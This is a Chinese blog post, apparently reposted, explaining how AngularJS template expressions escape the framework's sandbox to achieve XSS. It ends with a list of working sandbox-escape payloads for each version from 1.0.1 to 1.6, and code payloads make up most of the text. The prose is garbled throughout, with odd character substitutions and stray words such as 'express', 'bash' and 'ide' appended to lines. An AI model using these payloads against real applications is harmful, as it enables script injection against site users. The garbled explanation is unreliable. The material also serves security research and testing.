AngularJs 動態模板真的安全嗎?嘗試一下XSS攻擊。

前情提要

angularJs經過「{{}}」來做爲輸出的標誌,而對於雙括號裏面的內容angularJs會計計算並輸出結果,咱們能夠在裏面輸入JS代碼,而且一些語句還能獲得執行,這使得咱們的XSS有了可能,雖然不能直接寫函數表達式,但這並難不住咱們的白帽。express

沙箱檢驗

angularJs會對錶達式進行重寫,並過濾計算輸出,好比咱們輸入bash

{{1 + 1}}   
複製代碼

在JS中會被轉換成app

"use strict";
var fn = function(s, l, a, i) {
   return plus(1, 1);
};
return fn;
複製代碼

return fn;這裏的返回會被angualrJs執行,angularJs改寫這個方法後轉換是這樣的async

"use strict";
var fn = function(s, l, a, i) {
   var v0, v1, v2, v3, v4 = l && ('constructor' in l),
       v5;
   if (!(v4)) {
       if (s) {
           v3 = s.constructor;
       }
   } else {
       v3 = l.constructor;
   }
   ensureSafeObject(v3, text);
   if (v3 != null) {
       v2 = ensureSafeObject(v3.constructor, text);
   } else {
       v2 = undefined;
   }
   if (v2 != null) {
       ensureSafeFunction(v2, text);
       v5 = 'alert\u00281\u0029';
       ensureSafeObject(v3, text);
       v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
   } else {
       v1 = undefined;
   }
   if (v1 != null) {
       ensureSafeFunction(v1, text);
       v0 = ensureSafeObject(v1(), text);
   } else {
       v0 = undefined;
   }
   return v0;
};
return fn;
複製代碼

angularJs會檢查每個輸入的參數,ensureSafeObject方法會檢驗出函數的構造方法,窗口對象,對象,或者對象的構造方法,任意的其中一項被檢查出來,表達式都不會執行.angularJs還有ensureSafeMemeberName和ensureSafeFunction來過濾掉方法原型鏈方法和檢查這個指向。ide

如何逃逸

怎麼樣能逃過模板的過濾呢,可讓咱們輸入的模板被角執行,由於angularJs不支持函數輸入,咱們不能夠直接覆蓋本地的JS函數。但在字符串對象中找到了漏洞,fromCharCode,則charCode, charAt,因爲沒有重寫這些方法,經過改變本地的js函數,我能夠在angularJs調用這些方法的時候爲本身開一個後門,將我改寫的來覆蓋原來的函數。函數

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
複製代碼

formCharCode方法執行的時候內部的this指向的是String對象,經過上面的可指執行語句,咱們能夠對fromCharCode 函數進行覆蓋,當在本頁面內執行時,好比:ui

onload=function(){
document.write(String.fromCharCode(97));//會彈出 /Backdoored/ 
} 
複製代碼

還能夠這樣this

'a'.constructor.prototype.charCodeAt=[].concat
複製代碼

當angularJs調用charCodeAt函數時,個人代碼就被執行到angular源碼去了,好比說在這段裏面有encodeEntities 方法用來對屬性和名稱作一個過濾而後輸出,spa

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));//找的就是encodeEntities           
out('"');
}
複製代碼

具體的encodeEntities代碼以下:prototype

function encodeEntities(value) {
return value.
  replace(/&/g, '&').
  replace(SURROGATE_PAIR_REGEXP, function(value) {
    var hi = value.charCodeAt(0);
    var low = value.charCodeAt(1);
    return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
  }).
  replace(NON_ALPHANUMERIC_REGEXP, function(value) {
    return '&#' + value.charCodeAt(0) + ';';//這裏發生了很差事情,我改寫了這個方法,能夠植入一些惡意代碼,而且獲得返回輸出       }).
replace(/</g, '<').
replace(/>/g, '>');
}  
複製代碼

具體執行

//這是輸入代碼   
{{
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=""')+''
}} 

//這是被覆蓋影響的代碼     
"use strict";
var fn = function(s, l, a, i) {
  var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影響的
   if (!(v6)) {
      if (s) {
          v5 = s.x = "";//被影響的
       }
  } else {
      v5 = l.x = "";//被影響的
   }
  return v5;
};
fn.assign = function(s, v, l) {
  var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影響的
   v3 = v4 ? l : s;
  if (!(v4)) {
      if (s) {
          v2 = s.x = "";//被影響的
        }
  } else {
      v2 = l.x = "";//被影響的
   }
  if (v3 != null) {
      v1 = v;
      ensureSafeObject(v3.x = "", text);//被影響的
       v0 = v3.x = "" = v1;//被影響的
   }
  return v0;
};
return fn;
複製代碼
{{
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)')+'' //注入了alert(1) 
}}

"use strict";
var fn = function(s, l, a, i) {
  var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
  if (!(v6)) {
      if (s) {
          v5 = s.x = alert(1);
      }
  } else {
      v5 = l.x = alert(1);
  }
  return v5;
};
fn.assign = function(s, v, l) {
  var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
  v3 = v4 ? l : s;
  if (!(v4)) {
      if (s) {
          v2 = s.x = alert(1);
      }
  } else {
      v2 = l.x = alert(1);
  }
  if (v3 != null) {
      v1 = v;
      ensureSafeObject(v3.x = alert(1), text);
      v0 = v3.x = alert(1) = v1;
  }
  return v0;
};
return fn;
複製代碼

下面附上一些代碼,能夠直接結合angularJs驗證

不一樣版本的實現代碼以及發現者:

1.0.1 - 1.1.5 Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}} 
複製代碼

1.2.0 - 1.2.1 Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
複製代碼

1.2.2 - 1.2.5 Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
複製代碼

1.2.6 - 1.2.18 Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
複製代碼

1.2.19 - 1.2.23 Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
複製代碼

1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}   
複製代碼

1.3.0 Gábor Molnár (Google)

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}} 
複製代碼

1.3.1 - 1.3.2 Gareth Heyes (PortSwigger)

{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf; 
$eval('x=alert(1)//'); 
}}
複製代碼

1.3.3 - 1.3.18 Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 

'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}
複製代碼

1.3.19 Gareth Heyes (PortSwigger)

{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
$eval('x=alert(1)//'); 
}}

複製代碼

1.3.20 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
複製代碼

1.4.0 - 1.4.9 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
複製代碼

1.5.0 - 1.5.8 Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
複製代碼

1.5.9 - 1.5.11 Jan Horn (Google)

{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}
複製代碼

= 1.6.0 Mario Heiderich(Cure53)

{{constructor.constructor('alert(1)')()}} 
複製代碼

轉自:https://pockr.org/activity/detail?activity_no=act_017d460d4e5988dad2

相關文章
相關標籤/搜索